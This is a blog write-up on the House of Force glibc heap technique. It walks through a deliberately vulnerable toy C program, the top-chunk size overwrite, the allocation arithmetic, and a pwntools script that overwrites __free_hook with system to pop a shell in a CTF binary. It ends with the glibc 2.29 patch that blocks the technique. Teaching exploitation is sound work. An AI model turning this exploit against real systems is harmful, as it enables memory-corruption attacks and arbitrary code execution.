algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

the House of Force

2026-06-094 min readheap pwn glibc

The top chunk is the wilderness — the one chunk that borders unused memory, served only when no bin can satisfy a request. Its size field is just "how much room is left." So what happens if you tell malloc there's an unlimited amount left?

That's the House of Force in one sentence. It's dead on modern glibc (the 2.29 sanity check below), but it's the perfect first technique: one overwrite, a little arithmetic, and malloc returns a pointer to wherever you want.

target./hof
arch
amd64-64-little
libc
2.27 (House of Force died in 2.29)
technique
top-chunk size overwrite -> arbitrary allocation
  • RELROpartial

what it needs#

Three ingredients:

  1. an overflow into the top chunk's size field (usually an overflow out of the chunk physically before it),
  2. a malloc with an attacker-controlled size, and
  3. a second malloc whose returned pointer you can then write through.

A toy victim that hands you all three:

hof.c — decompiledc
1
2
3
4
5
6
7
char *a = malloc(0x18);          // a sits directly below the top chunk
read(0, a, 0x40);                // overflow: runs past a, into top->size

size_t n = read_size();          // you control this
char *b = malloc(n);             // the "forcing" allocation — moves the top chunk
char *c = malloc(0x18);          // ...returned exactly at your target
read(0, c, 0x18);                // arbitrary write

step 1 — make top "infinite"#

Overflow out of a and write 0xffffffffffffffff over the top chunk's size. As an unsigned integer that's the largest value possible, so every bounds check of the form "is the request bigger than the top chunk?" now answers no:

top chunk after the overflow — size = -1hex
00000000  41 41 41 41 41 41 41 41  ff ff ff ff ff ff ff ff  |AAAAAAAA........|

In pwndbg, top_chunk should now read a size of 0xffffffffffffffff.

step 2 — walk the top chunk to your target#

A normal request carves a chunk off the front of the top chunk and advances the top pointer by the request size. With the size check defeated, you can advance that pointer by any amount — including backwards, since the arithmetic wraps.

Let top be the address of the top chunk and target the address you want the next allocation to return. That next chunk's header must land at target - 0x10, so the forcing allocation has to move the top pointer by exactly:

nb=(target0x10)top

The forcing malloc then returns junk (ignore it), and the very next malloc returns a pointer at target.

the off-by-a-header that eats everyone

malloc(nb) isn't quite right — your request is rounded up to a chunk size (request2size), so you pass nb - 8 and let glibc round it back to nb. And top must be the live top address after your overflow, not from a stale run (ASLR moved the heap). Set a breakpoint on the forcing malloc's return and confirm top_chunk == target - 0x10; if it's off, it's off by exactly one 0x10 header. Don't compute it once and trust it.

driving it#

If target is a writable global (say __free_hook, or a function pointer on a no-PIE binary), two more allocations and a write land your value there:

hof.pypython
from pwn import *
io = process("./hof"); libc = ELF("./libc.so.6", checksec=False)

# ... leak a heap address so you know `top`, and a libc base for `target` ...
top    = heap_leak + 0x20          # address of the top chunk (confirm in gdb)
target = libc.sym["__free_hook"]

io.send(b"A"*0x18 + p64(0xffffffffffffffff))   # smash top->size
io.sendline(str(target - 0x10 - top - 8))      # forcing malloc moves top
io.recvuntil(b"chunk: ")                        # (junk allocation)

io.send(p64(libc.sym["system"]))                # next malloc lands on __free_hook
# now free() a chunk holding "/bin/sh" -> system("/bin/sh")
the shell

With __free_hook = system and a chunk containing /bin/sh\x00, the next free() fires system("/bin/sh"):

txt
1
2
3
$ id
uid=1000(ctf) gid=1000(ctf)
segfault{f0rc3_th3_t0p_ch0nk}
One overflow, one controlled size, one write. No ROP at all.

why it's dead (and why it still matters)#

glibc 2.29 added a single line to sysmalloc:

glibc 2.29 — malloc.cdiff
+  if (__glibc_unlikely (old_size > av->system_mem))
+    malloc_printerr ("malloc(): corrupted top size");

A top chunk larger than all the memory the arena has ever mapped is now flagged on the spot, so size = -1 aborts immediately. The House of Force is a ≤ 2.28 technique now.

It still earns its place first because it teaches the move every later technique reuses: the size field is a promise, and malloc believes it. Bend a fastbin's promise and you get the fastbin dup; bend a doubly-linked list's and you get unsafe unlink.